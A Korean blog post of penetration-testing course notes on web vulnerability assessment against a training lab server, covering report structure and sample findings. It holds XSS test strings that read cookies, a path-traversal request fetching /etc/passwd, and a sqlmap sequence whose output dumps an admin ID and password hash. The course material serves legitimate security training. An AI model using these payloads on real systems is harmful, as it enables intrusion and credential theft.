2022. 8. 8. 17:46ㆍ보안/케이쉴드
파라미터(Parameter)를 검색했더니 매개변수라고 해요. 그게 뭐죠?
파라미터를 번역하면 매개변수라는 의미를 지니는데요, IT업계에서는 ‘소프트웨어나 시스템상의 작동에 영향을 미치며, 외부로부터 투입되는 데이터’라는 의미로 통용되고 있습니다. 파라미터를 활용하여 소프트웨어나 시스템을 작동시키기 때문에 다양한 활용도를 지니고 있어 없어서는 안되는 녀석이죠.
1. SQLi 취약점 찾아보기
> 다음과 같은 파라미터
GET /kisec/dataRoom/notice_view.html?idx=36&keyfield=&keyword= HTTP/1.1
정보수집
os
strings
language
보고서 양식(핵심 요소)
1) 메뉴: HOME > 커뮤니티 > 공지사항 > 게시글
2) 개요: 공지사항 게시글열람시 'SQL 특수문자'를 삽입하여 서버측으로 보냈을때 SQL 에러페이지가 발생하는 취약점을 확인하였다.
해당취약점으로 인해 데이터베이스 내의 중요정보가 탈취되거나 수정되거나 삭제될 가능성이 있다.
3) 발견 URL ~~~~~~~
4) 취약한 인자: idx
5) 증적(스크린샷)
-공지사항 게시글 화면
- url의 sql 특수문자 삽입화면
- 삽입후 나오는 애러 화면 예시
6) 대응방안
파일 다운로드 기능 (소스를 자주 확인 html , java > 개발자들이 정보를 남겨둠)
> 파일 다운로드 기능 확인
> 파일 다운로드 경로 조작
> 시스템 파일 등 중요 파일 다운로드 가능 확인 {
/etc/passwd 파일 다운로드 받고 열람 해보기
}
xss (cross site scripting)
점검 문자열
<script>alert("xss"); </script>
<script>alert(document.cookie); </script>
<iframe src="https://www.naver.com/"></iframe>
위 문자열을 입력후 페이지 호출시 스크립트 구문 실행
하나라도 실행시 취약점 있음
> 모의해킹 > 실제로 취약점 있을때 실제 탈취가 가능한지 확인해 보기
db랑 연동된 곳
주로
회원가입 로그인 게시판 등등
정보수집 > whatweb
HTTP/1.1 200 OK
Date: Mon, 08 Aug 2022 02:07:19 GMT
Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.2g PHP/5.3.25
X-Powered-By: PHP/5.3.25
Set-Cookie: PHPSESSID=772e3tpec1k5fbohvm13cubvk2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
포트 확인 > nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-07 21:37 EDT
Nmap scan report for 10.200.11.12
Host is up (0.00011s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh >> 원격 터미널 접속 가능
80/tcp open http
3306/tcp open mysql >> sql 인젝션
5901/tcp open vnc-1
6001/tcp open X11:1
MAC Address: 00:50:56:B2:99:AB (VMware)
Nmap done: 1 IP address (1 host up) scanned in 13.20 seconds
1대1 문의
공지사항
앨범
lab
수강후기
로그인
회원가입
test파일 다운로드
이메일 중복확인
>>> 무언가에 삽입이 되어있다!
모든 경우의 수를 고려하기보단 문제가 있다는 점 자체를 취약점으로 잡을수 있다!
어찌 되었든 취약점
제목에 검색해도 같은 문제
.
.
.
.
어떤 페이지에도 다 비슷한 공통적인 반응이라면
주소, 파라미터는 다 작성하고, 공통된 사진을 찍을 필요까지는 없다.
이후 > 파라미터들을 병렬처리 할것 > 취약한 인자를 찾을것!
파일 다운로드
proxy
GET /_core/_download.php?file_url=lab&file_name=album_5f8ff99f40d13.txt&real_name=test.txt HTTP/1.1
{
파일명: file_name=album_5f8ff99f40d13.txt
파일 경로명: file_url=lab
다운로드 파일명: real_name=test.txt
}
>>
GET /_core/_download.php?file_url=../../../../../etc&file_name=passwd&real_name=test.txt HTTP/1.1
../../../../../는 오류가 없어서 많이많이 사용하자
../ (%5c)= ..\(%2e)
파일 이름을 몰라도 asp.net의 web.config등 구성파일의 위치를 확인해보고 검색한다
java spring의 경우는 web.xml에 있다!
>>>
관련 asp 파일을 다운받아서 열어보면
include ~~경로 한 공통으로 dcconn.asp파일이 있다 >
db접속정보를 통해서 접속해야 하는데 암호화 되어있다.
복호화 하는것도 다운로드 하고 db커넥션 정보를 얻어서 키값을 가져와서 is를 프로그램 추가로 올리고 내 로컬호스트에서 복호화를 진행한다(키소스로)
oConne.open > response.write
sql gate
https://www.sqlgate.com/?language=ko
db별 접속 클라이언트가 있다. 다운받아서 열어보면
telnet붙드시 db에 접속할 수 있다.
xss (cross site scripting)크로스 사이트 스크립팅
회원가입후 1대1 문의
제목은 '보안점검중 클릭금지'로 많이 작성한다
(더눌러보고싶은 제목,,,,?ㅋㄷ)
1. 메뉴-home>교육문의>1대1문의
2. 취약점 현황 - 문의 게시글 본문 내용에 임의의 스크립트 삽입시 해당 스크립트가 실행되는 취약점 발견, 이로인해 타 사용자 권한획득 또는 악성 서버 유도를 통한 홈페이지 방문자가 악성코드에 감염될 수 있음
3. 발견 url
4. 취약한 파라미터(인자)
5. 증적 - 스크린샷
-1대1 문의 본문내용의 임의의 스크립트 구문 삽입된 화면
-해당 게시글 열람시 스크입트가 실행된 화면
쿠폰 구매후 내역 확인
회원정보 수정
엄청 중요한거!!!!
데이터 평문 전송
ex) 인터파크 해킹사건
> 회원 탈퇴가 평문화 되어있으면 (비밀번호를 한번더 입력하는 경우)
burp로 하지 말것 (인증서 있으면 평문으로 보인다)>> 와이어 샤크를 권장
TLS1.2 이상이어야 한다 > 취약점 존재
https여도 ssl 1,2,3, 다 사용금지 >취약점 존재
사이트를 이용한 ssl버전 확인
https://www.ssllabs.com/ssltest/
불충분한 인증
인증과 관련된 벌차가 불충분 할 경우
ex 중요페이지, 관리자 로그인 페이지의 2차 인증등이 존재하지 않아 추측하기 쉬운 아이디 페스워드로 쉽게 로그인이 가능할때 불충분한 인증이라고 봄
2차인증 ars mms
otp(one time password)
멀티지바이스를 이용한 2차인증
바이오정보
불충분한 인가 (건한과 관련이 있는 항목들)
권한을 이용함
관리자 권한으로 공지사항에 게시글을 등록, 수정 삭제 할수 있도록 구현하였으나 이때 파라미터에 권한에 해당하는 값만으로 권한을 결정하도록 구연하였을때 취약점이 발생할 수 있음
프로세스 검증 누락
결재 금액 조작
회원가입시 아이디 중복
비밀번호 복잡도 우회를 통한 가입
포인트조작, 결제금액 조작 등
>비밀번호 체크를 우회해서 안전하지 않은 비밀번호로 회원가입이 가능
>>>이거 가지고 머해요? 라고 물어보면?
사용자가 안전하지 않은 비밀번호로 가입하고 다른사용자가 그 회원의 권한을 회득해 행위를 할수 있음
이로인한 2차 공격 가능성이 생김
>기업회원 가입시 정회원 등록 절차를 우회해서 가입 가능
기업과 개인회원가입의 차이, 우회시 차이점이 있는지? 혜택과 관련하여 문의
불충분한 세션 만료
로그인 상태에서 마무것도 안하고 세션 유지시간을 넘기고 다른 행동을 체크, 세션을 유지시간을 넘기고 다른 행동을 하면 로그인 만료를 표시햄.
디렉터리 인덱싱
다른 취약점과 조합시 강력해짐
주소창에 입력하여 인덱싱 여부 확인
intittle:index of site: .kr
https://m.blog.naver.com/ppp7009/70153191675
파일을 다운로드 하는 경로에서도 찾을 수 있다.
httrack
웹서버 구조 덤프 - 링크를 다 클릭해서 존재하는 파일의 경로명을 찾아냄
웹 디렉터리/ 파일스캔도구 dirbuster
무작위 대입 공격처럼 숨겨진 관리자 페이지 같은 (링크없어도 가능 ) 숨겨진 페이지를 찾아내준다
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=crehacktive3&logNo=220976497780
https://yyh911.tistory.com/302
>>>http://10.200.11.12/_core/
관리자 페이지 노출
로그인 페이지
http://10.200.11.12/_admin/
>>위협 모델링 = 시나리오 기반 모의 해킹
sqli > admin id pw > pw크랙 > admin page login
sqli
sqlmap -u "URI" --dbms=? --level=3 --randome-agent --dbs
sqlmap -u "URI" --dbms=? --level=3 --randome-agent -D "?" --tables
sqlmap -u "URI" --dbms=? --level=3 --randome-agent -D "?" -T "?" --columns
sqlmap -u "URI" --dbms=? --level=3 --randome-agent -D "?" -T "?" -C "?,?" --dump
찾은 취약한 url 피라미터
sqlmap 사용자 (sqlmap -u "url" -data "파라미터 = 값" -p "취약한 파라미터" --level=3 --dbs --random-agent)
관리자 아이디 / 패스워드
dbms > nmap
URI> 취약점이 있는 페이지
http://10.200.11.12/kisec/dataRoom/after.html?keyfield=t1.b_title&keyword=123
'>>따른걸로 변경
sqlmap -u "http://10.200.11.12/kisec/dataRoom/after.html?keyfield=t1.b_title&keyword=%27" --dbms=mysql --level=3 --randome-agent --dbs
pw크랙
존더리퍼
crunch
hashcat
1. SQLi
1) 찾은 취약한 URL 파라미터
2) sqlmap 사용
sqlmap -u "URI" --dbms=? --level=3 --randome-agent --dbs
sqlmap -u "URI" --dbms=? --level=3 --randome-agent -D "?" --tables
sqlmap -u "URI" --dbms=? --level=3 --randome-agent -D "?" -T "?" --columns
sqlmap -u "URI" --dbms=? --level=3 --randome-agent -D "?" -T "?" -C "?,?" --dump
http://10.200.194.12/kisec/_action/email.confirm.php?email='
sqlmap -u "http://10.200.194.12/kisec/_action/email.confirm.php?email=123" --dbms=mysql --level=3 --randome-agent --dbs
available databases [3]:
[*] information_schema
[*] sukisec
[*] test
sqlmap -u "http://10.200.194.12/kisec/_action/email.confirm.php?email=123" --dbms=mysql --level=3 --randome-agent -D "sukisec" --tables
=> hm_admin_tb
sqlmap -u "http://10.200.194.12/kisec/_action/email.confirm.php?email=123" --dbms=mysql --level=3 --randome-agent -D "sukisec" -T "hm_admin_tb" --columns
=> admin_id,admin_pass
sqlmap -u "http://10.200.194.12/kisec/_action/email.confirm.php?email=123" --dbms=mysql --level=3 --randome-agent -D "sukisec" -T "hm_admin_tb" -C "admin_id,admin_pass" --dump
3) 관리자 아이디 / 패스워드 획득
Database: sukisec
Table: hm_admin_tb
[1 entry]
+------------+----------------------------------+
| admin_id | admin_pass |
+------------+----------------------------------+
| kisecadmin | 35c13251030c2a27deb56fa774ad8b07 |
+------------+----------------------------------+
2. PW Crack
1) crunch
2) hashcat
3. Admin Page Login
'보안 > 케이쉴드' 카테고리의 다른 글
보고서 작성해보기 (작성중) (0) | 2022.08.15 |
---|---|
TTPs 탐지 및 완화 (0) | 2022.08.12 |
심화과정 3일차 (침투 그 이후 DB탈취 실습, 보안 방법) (0) | 2022.08.04 |
심화과정 2일차 (모의해킹 대상의 정보수집, 관리자 페이지 들어가기 실습) (0) | 2022.08.01 |
심화과정 1일차 (모의해킹 방법론) (0) | 2022.07.30 |